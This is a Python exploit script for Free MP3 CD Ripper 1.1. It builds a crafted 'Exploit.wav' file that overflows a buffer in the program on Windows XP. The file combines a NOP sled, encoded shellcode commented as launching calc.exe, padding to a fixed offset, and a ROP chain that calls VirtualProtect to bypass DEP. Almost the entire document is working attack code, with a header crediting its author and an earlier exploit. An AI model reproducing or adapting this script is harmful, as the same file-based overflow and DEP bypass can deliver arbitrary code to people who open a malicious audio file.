|
#!/usr/bin/python # #[+]Exploit Title: Free MP3 CD Ripper 1.1 Universal DEP Bypass Exploit #[+]Date: 27\08\2011 #[+]Author: C4SS!0 G0M3S #[+]Software Link: http://www.brothersoft.com/free-mp3-cd-ripper-84543.html #[+]Found/Initial Exploit: X-h4ck(http://www.exploit-db.com/exploits/17727/) #[+]Version: 1.1 #[+]Tested On: WIN-XP SP3 Brazilian Portuguese #[+]CVE: N/A #
from struct import pack from time import sleep import os from sys import exit
print ''' Created By C4SS!0 G0M3S E-mail louredo_@hotmail.com Blog net-fuzzer.blogspot.com ''' sleep(2)
shellcode = ("\xdd\xc3\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x32\xb8\x08\x99" "\xc4\xb4\x31\x43\x17\x03\x43\x17\x83\xcb\x9d\x26\x41\x37" "\x75\x2f\xaa\xc7\x86\x50\x22\x22\xb7\x42\x50\x27\xea\x52" "\x12\x65\x07\x18\x76\x9d\x9c\x6c\x5f\x92\x15\xda\xb9\x9d" "\xa6\xea\x05\x71\x64\x6c\xfa\x8b\xb9\x4e\xc3\x44\xcc\x8f" # Shellcode WinExec "Calc.exe" "\x04\xb8\x3f\xdd\xdd\xb7\x92\xf2\x6a\x85\x2e\xf2\xbc\x82" # BadChars "\x00\x0a\x0d" "\x0f\x8c\xb9\x54\xfb\x26\xc3\x84\x54\x3c\x8b\x3c\xde\x1a" "\x2c\x3d\x33\x79\x10\x74\x38\x4a\xe2\x87\xe8\x82\x0b\xb6" "\xd4\x49\x32\x77\xd9\x90\x72\xbf\x02\xe7\x88\xbc\xbf\xf0" "\x4a\xbf\x1b\x74\x4f\x67\xef\x2e\xab\x96\x3c\xa8\x38\x94" "\x89\xbe\x67\xb8\x0c\x12\x1c\xc4\x85\x95\xf3\x4d\xdd\xb1" "\xd7\x16\x85\xd8\x4e\xf2\x68\xe4\x91\x5a\xd4\x40\xd9\x48" "\x01\xf2\x80\x06\xd4\x76\xbf\x6f\xd6\x88\xc0\xdf\xbf\xb9" "\x4b\xb0\xb8\x45\x9e\xf5\x37\x0c\x83\x5f\xd0\xc9\x51\xe2" "\xbd\xe9\x8f\x20\xb8\x69\x3a\xd8\x3f\x71\x4f\xdd\x04\x35" "\xa3\xaf\x15\xd0\xc3\x1c\x15\xf1\xa7\xc3\x85\x99\x27") #######################ROP START HERE####################################### rop = pack('<L',0x6f483d9b) # PUSH ESP # POP EBP # RETN rop += pack('<L',0x004a7252) # XCHG EAX,EBP # RETN rop += pack('<L',0x0047855b) # XCHG EAX,ECX # RETN rop += pack('<L',0x00494277) # POP EAX # RETN rop += pack('<L',0x00CA2108) # PTR to VirtualProtect rop += pack('<L',0x10007584) # POP EDI # RETN rop += pack('<L',0x00493b99) # RETN rop += pack('<L',0x10013cb1) # POP ESI # RETN rop += pack('<L',0x00C81C02) # PTR to JMP[EAX] rop += pack('<L',0x00453cc7) # POP EBP # RETN rop += pack('<L',0x100081cd) # ADD ESP,24 # RETN // Return of function VirtualProtect rop += pack('<L',0x00493b98) # POP EBX # RETN rop += pack('<L',0x000000db) # Valor de dwSize rop += pack('<L',0x004b0609) # POP EDX # RETN rop += pack('<L',0x00000040) # Valor de flNewProtect rop += pack('<L',0x004c8dc0) # PUSHAD # RETN rop += ("A" * 32) rop += pack('<L',0x00463BE9) # JMP to Shellcode #######################ROP END HERE######################################### #Note: #Here we have control of 219 bytes of memory, is not a good space. :) #So our solution would be: call the function VirtualProtect pointing to inicion 4112 bytes of the file. #Now that control the 219-byte one, a good space #to a function call VirtualProtect and its parameter. ;) ############################################################################ buf = ("\x90" * 50) buf += shellcode buf += ("A" * (4112-len(buf))) buf += rop buf += ( "\x54" # PUSH ESP "\x6A\x40" # PUSH 40 "\x66\xB8\x50\x10" # MOV AX,1050 "\x50" # PUSH EAX "\x8B\xCC" # MOV ECX,ESP "\x2B\xC8" # SUB ECX,EAX "\x8B\xD9" # MOV EBX,ECX "\x51" # PUSH ECX "\xFF\x15\x08\x21\xCA\x00" # CALL DWORD PTR DS:[Kernel32.VirtualProtect] "\xFF\xD3") # CALL EBX // Jmp to My Shellcode after call VirtualProtect
print "\t\t[+]Creating Exploit File..." sleep(1) try: f = open("Exploit.wav","wb") f.write(buf) f.close() print "\t\t[+]File \"Exploit.wav\" Created Succefully." sleep(1) except IOError,e: print "\t\t[+]Error: "+str(e) exit(-1)
|